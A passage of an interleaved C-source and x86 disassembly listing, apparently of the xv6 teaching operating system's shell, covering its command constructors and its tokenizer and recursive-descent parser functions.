3fd: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid == -1)
400: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
404: 75 0c jne 412 <fork1+0x20>
panic("fork");
406: c7 04 24 f6 15 00 00 movl $0x15f6,(%esp)
40d: e8 ba ff ff ff call 3cc <panic>
return pid;
412: 8b 45 f4 mov -0xc(%ebp),%eax
}
415: c9 leave
416: c3 ret
00000417 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
417: 55 push %ebp
418: 89 e5 mov %esp,%ebp
41a: 83 ec 28 sub $0x28,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
41d: c7 04 24 54 00 00 00 movl $0x54,(%esp)
424: e8 82 10 00 00 call 14ab <malloc>
429: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
42c: c7 44 24 08 54 00 00 movl $0x54,0x8(%esp)
433: 00
434: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
43b: 00
43c: 8b 45 f4 mov -0xc(%ebp),%eax
43f: 89 04 24 mov %eax,(%esp)
442: e8 33 0a 00 00 call e7a <memset>
cmd->type = EXEC;
447: 8b 45 f4 mov -0xc(%ebp),%eax
44a: c7 00 01 00 00 00 movl $0x1,(%eax)
return (struct cmd*)cmd;
450: 8b 45 f4 mov -0xc(%ebp),%eax
}
453: c9 leave
454: c3 ret
00000455 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
455: 55 push %ebp
456: 89 e5 mov %esp,%ebp
458: 83 ec 28 sub $0x28,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
45b: c7 04 24 18 00 00 00 movl $0x18,(%esp)
462: e8 44 10 00 00 call 14ab <malloc>
467: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
46a: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
471: 00
472: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
479: 00
47a: 8b 45 f4 mov -0xc(%ebp),%eax
47d: 89 04 24 mov %eax,(%esp)
480: e8 f5 09 00 00 call e7a <memset>
cmd->type = REDIR;
485: 8b 45 f4 mov -0xc(%ebp),%eax
488: c7 00 02 00 00 00 movl $0x2,(%eax)
cmd->cmd = subcmd;
48e: 8b 45 f4 mov -0xc(%ebp),%eax
491: 8b 55 08 mov 0x8(%ebp),%edx
494: 89 50 04 mov %edx,0x4(%eax)
cmd->file = file;
497: 8b 45 f4 mov -0xc(%ebp),%eax
49a: 8b 55 0c mov 0xc(%ebp),%edx
49d: 89 50 08 mov %edx,0x8(%eax)
cmd->efile = efile;
4a0: 8b 45 f4 mov -0xc(%ebp),%eax
4a3: 8b 55 10 mov 0x10(%ebp),%edx
4a6: 89 50 0c mov %edx,0xc(%eax)
cmd->mode = mode;
4a9: 8b 45 f4 mov -0xc(%ebp),%eax
4ac: 8b 55 14 mov 0x14(%ebp),%edx
4af: 89 50 10 mov %edx,0x10(%eax)
cmd->fd = fd;
4b2: 8b 45 f4 mov -0xc(%ebp),%eax
4b5: 8b 55 18 mov 0x18(%ebp),%edx
4b8: 89 50 14 mov %edx,0x14(%eax)
return (struct cmd*)cmd;
4bb: 8b 45 f4 mov -0xc(%ebp),%eax
}
4be: c9 leave
4bf: c3 ret
000004c0 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 83 ec 28 sub $0x28,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
4c6: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
4cd: e8 d9 0f 00 00 call 14ab <malloc>
4d2: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
4d5: c7 44 24 08 0c 00 00 movl $0xc,0x8(%esp)
4dc: 00
4dd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4e4: 00
4e5: 8b 45 f4 mov -0xc(%ebp),%eax
4e8: 89 04 24 mov %eax,(%esp)
4eb: e8 8a 09 00 00 call e7a <memset>
cmd->type = PIPE;
4f0: 8b 45 f4 mov -0xc(%ebp),%eax
4f3: c7 00 03 00 00 00 movl $0x3,(%eax)
cmd->left = left;
4f9: 8b 45 f4 mov -0xc(%ebp),%eax
4fc: 8b 55 08 mov 0x8(%ebp),%edx
4ff: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
502: 8b 45 f4 mov -0xc(%ebp),%eax
505: 8b 55 0c mov 0xc(%ebp),%edx
508: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
50b: 8b 45 f4 mov -0xc(%ebp),%eax
}
50e: c9 leave
50f: c3 ret
00000510 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
510: 55 push %ebp
511: 89 e5 mov %esp,%ebp
513: 83 ec 28 sub $0x28,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
516: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
51d: e8 89 0f 00 00 call 14ab <malloc>
522: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
525: c7 44 24 08 0c 00 00 movl $0xc,0x8(%esp)
52c: 00
52d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
534: 00
535: 8b 45 f4 mov -0xc(%ebp),%eax
538: 89 04 24 mov %eax,(%esp)
53b: e8 3a 09 00 00 call e7a <memset>
cmd->type = LIST;
540: 8b 45 f4 mov -0xc(%ebp),%eax
543: c7 00 04 00 00 00 movl $0x4,(%eax)
cmd->left = left;
549: 8b 45 f4 mov -0xc(%ebp),%eax
54c: 8b 55 08 mov 0x8(%ebp),%edx
54f: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
552: 8b 45 f4 mov -0xc(%ebp),%eax
555: 8b 55 0c mov 0xc(%ebp),%edx
558: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
55b: 8b 45 f4 mov -0xc(%ebp),%eax
}
55e: c9 leave
55f: c3 ret
00000560 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
560: 55 push %ebp
561: 89 e5 mov %esp,%ebp
563: 83 ec 28 sub $0x28,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
566: c7 04 24 08 00 00 00 movl $0x8,(%esp)
56d: e8 39 0f 00 00 call 14ab <malloc>
572: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
575: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
57c: 00
57d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
584: 00
585: 8b 45 f4 mov -0xc(%ebp),%eax
588: 89 04 24 mov %eax,(%esp)
58b: e8 ea 08 00 00 call e7a <memset>
cmd->type = BACK;
590: 8b 45 f4 mov -0xc(%ebp),%eax
593: c7 00 05 00 00 00 movl $0x5,(%eax)
cmd->cmd = subcmd;
599: 8b 45 f4 mov -0xc(%ebp),%eax
59c: 8b 55 08 mov 0x8(%ebp),%edx
59f: 89 50 04 mov %edx,0x4(%eax)
return (struct cmd*)cmd;
5a2: 8b 45 f4 mov -0xc(%ebp),%eax
}
5a5: c9 leave
5a6: c3 ret
000005a7 <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
5a7: 55 push %ebp
5a8: 89 e5 mov %esp,%ebp
5aa: 83 ec 28 sub $0x28,%esp
char *s;
int ret;
s = *ps;
5ad: 8b 45 08 mov 0x8(%ebp),%eax
5b0: 8b 00 mov (%eax),%eax
5b2: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
5b5: eb 04 jmp 5bb <gettoken+0x14>
s++;
5b7: 83 45 f4 01 addl $0x1,-0xc(%ebp)
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
5bb: 8b 45 f4 mov -0xc(%ebp),%eax
5be: 3b 45 0c cmp 0xc(%ebp),%eax
5c1: 73 1d jae 5e0 <gettoken+0x39>
5c3: 8b 45 f4 mov -0xc(%ebp),%eax
5c6: 0f b6 00 movzbl (%eax),%eax
5c9: 0f be c0 movsbl %al,%eax
5cc: 89 44 24 04 mov %eax,0x4(%esp)
5d0: c7 04 24 58 1b 00 00 movl $0x1b58,(%esp)
5d7: e8 c2 08 00 00 call e9e <strchr>
5dc: 85 c0 test %eax,%eax
5de: 75 d7 jne 5b7 <gettoken+0x10>
s++;
if(q)
5e0: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
5e4: 74 08 je 5ee <gettoken+0x47>
*q = s;
5e6: 8b 45 10 mov 0x10(%ebp),%eax
5e9: 8b 55 f4 mov -0xc(%ebp),%edx
5ec: 89 10 mov %edx,(%eax)
ret = *s;
5ee: 8b 45 f4 mov -0xc(%ebp),%eax
5f1: 0f b6 00 movzbl (%eax),%eax
5f4: 0f be c0 movsbl %al,%eax
5f7: 89 45 f0 mov %eax,-0x10(%ebp)
switch(*s){
5fa: 8b 45 f4 mov -0xc(%ebp),%eax
5fd: 0f b6 00 movzbl (%eax),%eax
600: 0f be c0 movsbl %al,%eax
603: 83 f8 29 cmp $0x29,%eax
606: 7f 14 jg 61c <gettoken+0x75>
608: 83 f8 28 cmp $0x28,%eax
60b: 7d 28 jge 635 <gettoken+0x8e>
60d: 85 c0 test %eax,%eax
60f: 0f 84 94 00 00 00 je 6a9 <gettoken+0x102>
615: 83 f8 26 cmp $0x26,%eax
618: 74 1b je 635 <gettoken+0x8e>
61a: eb 3c jmp 658 <gettoken+0xb1>
61c: 83 f8 3e cmp $0x3e,%eax
61f: 74 1a je 63b <gettoken+0x94>
621: 83 f8 3e cmp $0x3e,%eax
624: 7f 0a jg 630 <gettoken+0x89>
626: 83 e8 3b sub $0x3b,%eax
629: 83 f8 01 cmp $0x1,%eax
62c: 77 2a ja 658 <gettoken+0xb1>
62e: eb 05 jmp 635 <gettoken+0x8e>
630: 83 f8 7c cmp $0x7c,%eax
633: 75 23 jne 658 <gettoken+0xb1>
case '(':
case ')':
case ';':
case '&':
case '<':
s++;
635: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
639: eb 6f jmp 6aa <gettoken+0x103>
case '>':
s++;
63b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(*s == '>'){
63f: 8b 45 f4 mov -0xc(%ebp),%eax
642: 0f b6 00 movzbl (%eax),%eax
645: 3c 3e cmp $0x3e,%al
647: 75 0d jne 656 <gettoken+0xaf>
ret = '+';
649: c7 45 f0 2b 00 00 00 movl $0x2b,-0x10(%ebp)
s++;
650: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}
break;
654: eb 54 jmp 6aa <gettoken+0x103>
656: eb 52 jmp 6aa <gettoken+0x103>
default:
ret = 'a';
658: c7 45 f0 61 00 00 00 movl $0x61,-0x10(%ebp)
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
65f: eb 04 jmp 665 <gettoken+0xbe>
s++;
661: 83 45 f4 01 addl $0x1,-0xc(%ebp)
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
665: 8b 45 f4 mov -0xc(%ebp),%eax
668: 3b 45 0c cmp 0xc(%ebp),%eax
66b: 73 3a jae 6a7 <gettoken+0x100>
66d: 8b 45 f4 mov -0xc(%ebp),%eax
670: 0f b6 00 movzbl (%eax),%eax
673: 0f be c0 movsbl %al,%eax
676: 89 44 24 04 mov %eax,0x4(%esp)
67a: c7 04 24 58 1b 00 00 movl $0x1b58,(%esp)
681: e8 18 08 00 00 call e9e <strchr>
686: 85 c0 test %eax,%eax
688: 75 1d jne 6a7 <gettoken+0x100>
68a: 8b 45 f4 mov -0xc(%ebp),%eax
68d: 0f b6 00 movzbl (%eax),%eax
690: 0f be c0 movsbl %al,%eax
693: 89 44 24 04 mov %eax,0x4(%esp)
697: c7 04 24 5e 1b 00 00 movl $0x1b5e,(%esp)
69e: e8 fb 07 00 00 call e9e <strchr>
6a3: 85 c0 test %eax,%eax
6a5: 74 ba je 661 <gettoken+0xba>
s++;
break;
6a7: eb 01 jmp 6aa <gettoken+0x103>
if(q)
*q = s;
ret = *s;
switch(*s){
case 0:
break;
6a9: 90 nop
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
6aa: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
6ae: 74 0a je 6ba <gettoken+0x113>
*eq = s;
6b0: 8b 45 14 mov 0x14(%ebp),%eax
6b3: 8b 55 f4 mov -0xc(%ebp),%edx
6b6: 89 10 mov %edx,(%eax)
while(s < es && strchr(whitespace, *s))
6b8: eb 06 jmp 6c0 <gettoken+0x119>
6ba: eb 04 jmp 6c0 <gettoken+0x119>
s++;
6bc: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
6c0: 8b 45 f4 mov -0xc(%ebp),%eax
6c3: 3b 45 0c cmp 0xc(%ebp),%eax
6c6: 73 1d jae 6e5 <gettoken+0x13e>
6c8: 8b 45 f4 mov -0xc(%ebp),%eax
6cb: 0f b6 00 movzbl (%eax),%eax
6ce: 0f be c0 movsbl %al,%eax
6d1: 89 44 24 04 mov %eax,0x4(%esp)
6d5: c7 04 24 58 1b 00 00 movl $0x1b58,(%esp)
6dc: e8 bd 07 00 00 call e9e <strchr>
6e1: 85 c0 test %eax,%eax
6e3: 75 d7 jne 6bc <gettoken+0x115>
s++;
*ps = s;
6e5: 8b 45 08 mov 0x8(%ebp),%eax
6e8: 8b 55 f4 mov -0xc(%ebp),%edx
6eb: 89 10 mov %edx,(%eax)
return ret;
6ed: 8b 45 f0 mov -0x10(%ebp),%eax
}
6f0: c9 leave
6f1: c3 ret
000006f2 <peek>:
int
peek(char **ps, char *es, char *toks)
{
6f2: 55 push %ebp
6f3: 89 e5 mov %esp,%ebp
6f5: 83 ec 28 sub $0x28,%esp
char *s;
s = *ps;
6f8: 8b 45 08 mov 0x8(%ebp),%eax
6fb: 8b 00 mov (%eax),%eax
6fd: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
700: eb 04 jmp 706 <peek+0x14>
s++;
702: 83 45 f4 01 addl $0x1,-0xc(%ebp)
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
706: 8b 45 f4 mov -0xc(%ebp),%eax
709: 3b 45 0c cmp 0xc(%ebp),%eax
70c: 73 1d jae 72b <peek+0x39>
70e: 8b 45 f4 mov -0xc(%ebp),%eax
711: 0f b6 00 movzbl (%eax),%eax
714: 0f be c0 movsbl %al,%eax
717: 89 44 24 04 mov %eax,0x4(%esp)
71b: c7 04 24 58 1b 00 00 movl $0x1b58,(%esp)
722: e8 77 07 00 00 call e9e <strchr>
727: 85 c0 test %eax,%eax
729: 75 d7 jne 702 <peek+0x10>
s++;
*ps = s;
72b: 8b 45 08 mov 0x8(%ebp),%eax
72e: 8b 55 f4 mov -0xc(%ebp),%edx
731: 89 10 mov %edx,(%eax)
return *s && strchr(toks, *s);
733: 8b 45 f4 mov -0xc(%ebp),%eax
736: 0f b6 00 movzbl (%eax),%eax
739: 84 c0 test %al,%al
73b: 74 23 je 760 <peek+0x6e>
73d: 8b 45 f4 mov -0xc(%ebp),%eax
740: 0f b6 00 movzbl (%eax),%eax
743: 0f be c0 movsbl %al,%eax
746: 89 44 24 04 mov %eax,0x4(%esp)
74a: 8b 45 10 mov 0x10(%ebp),%eax
74d: 89 04 24 mov %eax,(%esp)
750: e8 49 07 00 00 call e9e <strchr>
755: 85 c0 test %eax,%eax
757: 74 07 je 760 <peek+0x6e>
759: b8 01 00 00 00 mov $0x1,%eax
75e: eb 05 jmp 765 <peek+0x73>
760: b8 00 00 00 00 mov $0x0,%eax
}
765: c9 leave
766: c3 ret
00000767 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
767: 55 push %ebp
768: 89 e5 mov %esp,%ebp
76a: 53 push %ebx
76b: 83 ec 24 sub $0x24,%esp
char *es;
struct cmd *cmd;
es = s + strlen(s);
76e: 8b 5d 08 mov 0x8(%ebp),%ebx
771: 8b 45 08 mov 0x8(%ebp),%eax
774: 89 04 24 mov %eax,(%esp)
777: e8 d7 06 00 00 call e53 <strlen>
77c: 01 d8 add %ebx,%eax
77e: 89 45 f4 mov %eax,-0xc(%ebp)
cmd = parseline(&s, es);
781: 8b 45 f4 mov -0xc(%ebp),%eax
784: 89 44 24 04 mov %eax,0x4(%esp)
788: 8d 45 08 lea 0x8(%ebp),%eax
78b: 89 04 24 mov %eax,(%esp)
78e: e8 60 00 00 00 call 7f3 <parseline>
793: 89 45 f0 mov %eax,-0x10(%ebp)
peek(&s, es, "");
796: c7 44 24 08 fb 15 00 movl $0x15fb,0x8(%esp)
79d: 00
79e: 8b 45 f4 mov -0xc(%ebp),%eax
7a1: 89 44 24 04 mov %eax,0x4(%esp)
7a5: 8d 45 08 lea 0x8(%ebp),%eax
7a8: 89 04 24 mov %eax,(%esp)
7ab: e8 42 ff ff ff call 6f2 <peek>
if(s != es){
7b0: 8b 45 08 mov 0x8(%ebp),%eax
7b3: 3b 45 f4 cmp -0xc(%ebp),%eax
7b6: 74 27 je 7df <parsecmd+0x78>
printf(2, "leftovers: %s\n", s);
7b8: 8b 45 08 mov 0x8(%ebp),%eax
7bb: 89 44 24 08 mov %eax,0x8(%esp)
7bf: c7 44 24 04 fc 15 00 movl $0x15fc,0x4(%esp)
7c6: 00
7c7: c7 04 24 02 00 00 00 movl $0x2,(%esp)
7ce: e8 ec 09 00 00 call 11bf <printf>
panic("syntax");
7d3: c7 04 24 0b 16 00 00 movl $0x160b,(%esp)
7da: e8 ed fb ff ff call 3cc <panic>
}
nulterminate(cmd);
7df: 8b 45 f0 mov -0x10(%ebp),%eax
7e2: 89 04 24 mov %eax,(%esp)
7e5: e8 a3 04 00 00 call c8d <nulterminate>
return cmd;
7ea: 8b 45 f0 mov -0x10(%ebp),%eax
}
7ed: 83 c4 24 add $0x24,%esp
7f0: 5b pop %ebx
7f1: 5d pop %ebp
7f2: c3 ret
000007f3 <parseline>:
struct cmd*
parseline(char **ps, char *es)
{
7f3: 55 push %ebp
7f4: 89 e5 mov %esp,%ebp
7f6: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
cmd = parsepipe(ps, es);
7f9: 8b 45 0c mov 0xc(%ebp),%eax
7fc: 89 44 24 04 mov %eax,0x4(%esp)
800: 8b 45 08 mov 0x8(%ebp),%eax
803: 89 04 24 mov %eax,(%esp)
806: e8 bc 00 00 00 call 8c7 <parsepipe>
80b: 89 45 f4 mov %eax,-0xc(%ebp)
while(peek(ps, es, "&")){
80e: eb 30 jmp 840 <parseline+0x4d>
gettoken(ps, es, 0, 0);
810: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
817: 00
818: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
81f: 00
820: 8b 45 0c mov 0xc(%ebp),%eax
823: 89 44 24 04 mov %eax,0x4(%esp)
827: 8b 45 08 mov 0x8(%ebp),%eax
82a: 89 04 24 mov %eax,(%esp)
82d: e8 75 fd ff ff call 5a7 <gettoken>
cmd = backcmd(cmd);
832: 8b 45 f4 mov -0xc(%ebp),%eax
835: 89 04 24 mov %eax,(%esp)
838: e8 23 fd ff ff call 560 <backcmd>
83d: 89 45 f4 mov %eax,-0xc(%ebp)
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
840: c7 44 24 08 12 16 00 movl $0x1612,0x8(%esp)
847: 00
848: 8b 45 0c mov 0xc(%ebp),%eax
84b: 89 44 24 04 mov %eax,0x4(%esp)
84f: 8b 45 08 mov 0x8(%ebp),%eax
852: 89 04 24 mov %eax,(%esp)
855: e8 98 fe ff ff call 6f2 <peek>
85a: 85 c0 test %eax,%eax
85c: 75 b2 jne 810 <parseline+0x1d>
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
85e: c7 44 24 08 14 16 00 movl $0x1614,0x8(%esp)
865: 00
866: 8b 45 0c mov 0xc(%ebp),%eax
869: 89 44 24 04 mov %eax,0x4(%esp)
86d: 8b 45 08 mov 0x8(%ebp),%eax
870: 89 04 24 mov %eax,(%esp)
873: e8 7a fe ff ff call 6f2 <peek>
878: 85 c0 test %eax,%eax
87a: 74 46 je 8c2 <parseline+0xcf>
gettoken(ps, es, 0, 0);
87c: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
883: 00
884: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
88b: 00
88c: 8b 45 0c mov 0xc(%ebp),%eax
88f: 89 44 24 04 mov %eax,0x4(%esp)
893: 8b 45 08 mov 0x8(%ebp),%eax
896: 89 04 24 mov %eax,(%esp)
899: e8 09 fd ff ff call 5a7 <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
89e: 8b 45 0c mov 0xc(%ebp),%eax
8a1: 89 44 24 04 mov %eax,0x4(%esp)
8a5: 8b 45 08 mov 0x8(%ebp),%eax
8a8: 89 04 24 mov %eax,(%esp)
8ab: e8 43 ff ff ff call 7f3 <parseline>
8b0: 89 44 24 04 mov %eax,0x4(%esp)
8b4: 8b 45 f4 mov -0xc(%ebp),%eax
8b7: 89 04 24 mov %eax,(%esp)
8ba: e8 51 fc ff ff call 510 <listcmd>
8bf: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
8c2: 8b 45 f4 mov -0xc(%ebp),%eax
}
8c5: c9 leave
8c6: c3 ret
000008c7 <parsepipe>:
struct cmd*
parsepipe(char **ps, char *es)
{
8c7: 55 push %ebp
8c8: 89 e5 mov %esp,%ebp
8ca: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
cmd = parseexec(ps, es);
8cd: 8b 45 0c mov 0xc(%ebp),%eax
8d0: 89 44 24 04 mov %eax,0x4(%esp)
8d4: 8b 45 08 mov 0x8(%ebp),%eax
8d7: 89 04 24 mov %eax,(%esp)
8da: e8 68 02 00 00 call b47 <parseexec>
8df: 89 45 f4 mov %eax,-0xc(%ebp)
if(peek(ps, es, "|")){
8e2: c7 44 24 08 16 16 00 movl $0x1616,0x8(%esp)
8e9: 00
8ea: 8b 45 0c mov 0xc(%ebp),%eax
8ed: 89 44 24 04 mov %eax,0x4(%esp)
8f1: 8b 45 08 mov 0x8(%ebp),%eax
8f4: 89 04 24 mov %eax,(%esp)
8f7: e8 f6 fd ff ff call 6f2 <peek>
8fc: 85 c0 test %eax,%eax
8fe: 74 46 je 946 <parsepipe+0x7f>
gettoken(ps, es, 0, 0);
900: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
907: 00
908: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
90f: 00
910: 8b 45 0c mov 0xc(%ebp),%eax
913: 89 44 24 04 mov %eax,0x4(%esp)
917: 8b 45 08 mov 0x8(%ebp),%eax
91a: 89 04 24 mov %eax,(%esp)
91d: e8 85 fc ff ff call 5a7 <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
922: 8b 45 0c mov 0xc(%ebp),%eax
925: 89 44 24 04 mov %eax,0x4(%esp)
929: 8b 45 08 mov 0x8(%ebp),%eax
92c: 89 04 24 mov %eax,(%esp)
92f: e8 93 ff ff ff call 8c7 <parsepipe>
934: 89 44 24 04 mov %eax,0x4(%esp)
938: 8b 45 f4 mov -0xc(%ebp),%eax
93b: 89 04 24 mov %eax,(%esp)
93e: e8 7d fb ff ff call 4c0 <pipecmd>
943: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
946: 8b 45 f4 mov -0xc(%ebp),%eax
}
949: c9 leave
94a: c3 ret
0000094b <parseredirs>:
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
94b: 55 push %ebp
94c: 89 e5 mov %esp,%ebp
94e: 83 ec 38 sub $0x38,%esp
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
951: e9 f6 00 00 00 jmp a4c <parseredirs+0x101>
tok = gettoken(ps, es, 0, 0);
956: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
95d: 00
95e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
965: 00
966: 8b 45 10 mov 0x10(%ebp),%eax
969: 89 44 24 04 mov %eax,0x4(%esp)
96d: 8b 45 0c mov 0xc(%ebp),%eax
970: 89 04 24 mov %eax,(%esp)
973: e8 2f fc ff ff call 5a7 <gettoken>
978: 89 45 f4 mov %eax,-0xc(%ebp)
if(gettoken(ps, es, &q, &eq) != 'a')
97b: 8d 45 ec lea -0x14(%ebp),%eax
97e: 89 44 24 0c mov %eax,0xc(%esp)
982: 8d 45 f0 lea -0x10(%ebp),%eax
985: 89 44 24 08 mov %eax,0x8(%esp)
989: 8b 45 10 mov 0x10(%ebp),%eax
98c: 89 44 24 04 mov %eax,0x4(%esp)
990: 8b 45 0c mov 0xc(%ebp),%eax
993: 89 04 24 mov %eax,(%esp)
996: e8 0c fc ff ff call 5a7 <gettoken>
99b: 83 f8 61 cmp $0x61,%eax
99e: 74 0c je 9ac <parseredirs+0x61>
panic("missing file for redirection");
9a0: c7 04 24 18 16 00 00 movl $0x1618,(%esp)
9a7: e8 20 fa ff ff call 3cc <panic>
switch(tok){
9ac: 8b 45 f4 mov -0xc(%ebp),%eax
9af: 83 f8 3c cmp $0x3c,%eax
9b2: 74 0f je 9c3 <parseredirs+0x78>
9b4: 83 f8 3e cmp $0x3e,%eax
9b7: 74 38 je 9f1 <parseredirs+0xa6>
9b9: 83 f8 2b cmp $0x2b,%eax
9bc: 74 61 je a1f <parseredirs+0xd4>
9be: e9 89 00 00 00 jmp a4c <parseredirs+0x101>
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
9c3: 8b 55 ec mov -0x14(%ebp),%edx
9c6: 8b 45 f0 mov -0x10(%ebp),%eax
9c9: c7 44 24 10 00 00 00 movl $0x0,0x10(%esp)
9d0: 00
9d1: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
9d8: 00
9d9: 89 54 24 08 mov %edx,0x8(%esp)
9dd: 89 44 24 04 mov %eax,0x4(%esp)
9e1: 8b 45 08 mov 0x8(%ebp),%eax
9e4: 89 04 24 mov %eax,(%esp)
9e7: e8 69 fa ff ff call 455 <redircmd>
9ec: 89 45 08 mov %eax,0x8(%ebp)
break;
9ef: eb 5b jmp a4c <parseredirs+0x101>
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
9f1: 8b 55 ec mov -0x14(%ebp),%edx
9f4: 8b 45 f0 mov -0x10(%ebp),%eax
9f7: c7 44 24 10 01 00 00 movl $0x1,0x10(%esp)
9fe: 00
9ff: c7 44 24 0c 01 02 00 movl $0x201,0xc(%esp)
a06: 00
a07: 89 54 24 08 mov %edx,0x8(%esp)
a0b: 89 44 24 04 mov %eax,0x4(%esp)
a0f: 8b 45 08 mov 0x8(%ebp),%eax
a12: 89 04 24 mov %eax,(%esp)
a15: e8 3b fa ff ff call 455 <redircmd>
a1a: 89 45 08 mov %eax,0x8(%ebp)
break;
a1d: eb 2d jmp a4c <parseredirs+0x101>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
a1f: 8b 55 ec mov -0x14(%ebp),%edx
a22: 8b 45 f0 mov -0x10(%ebp),%eax
a25: c7 44 24 10 01 00 00 movl $0x1,0x10(%esp)
a2c: 00
a2d: c7 44 24 0c 01 02 00 movl $0x201,0xc(%esp)
a34: 00
a35: 89 54 24 08 mov %edx,0x8(%esp)
a39: 89 44 24 04 mov %eax,0x4(%esp)
a3d: 8b 45 08 mov 0x8(%ebp),%eax
a40: 89 04 24 mov %eax,(%esp)
a43: e8 0d fa ff ff call 455 <redircmd>
a48: 89 45 08 mov %eax,0x8(%ebp)
break;
a4b: 90 nop
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
a4c: c7 44 24 08 35 16 00 movl $0x1635,0x8(%esp)
a53: 00
a54: 8b 45 10 mov 0x10(%ebp),%eax
a57: 89 44 24 04 mov %eax,0x4(%esp)
a5b: 8b 45 0c mov 0xc(%ebp),%eax
a5e: 89 04 24 mov %eax,(%esp)
a61: e8 8c fc ff ff call 6f2 <peek>
a66: 85 c0 test %eax,%eax
a68: 0f 85 e8 fe ff ff jne 956 <parseredirs+0xb>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
}
}
return cmd;
a6e: 8b 45 08 mov 0x8(%ebp),%eax
}
a71: c9 leave
a72: c3 ret
00000a73 <parseblock>:
struct cmd*
parseblock(char **ps, char *es)
{
a73: 55 push %ebp
a74: 89 e5 mov %esp,%ebp
a76: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
if(!peek(ps, es, "("))
a79: c7 44 24 08 38 16 00 movl $0x1638,0x8(%esp)
a80: 00
a81: 8b 45 0c mov 0xc(%ebp),%eax
a84: 89 44 24 04 mov %eax,0x4(%esp)
a88: 8b 45 08 mov 0x8(%ebp),%eax
a8b: 89 04 24 mov %eax,(%esp)
a8e: e8 5f fc ff ff call 6f2 <peek>
a93: 85 c0 test %eax,%eax
a95: 75 0c jne aa3 <parseblock+0x30>
panic("parseblock");
a97: c7 04 24 3a 16 00 00 movl $0x163a,(%esp)
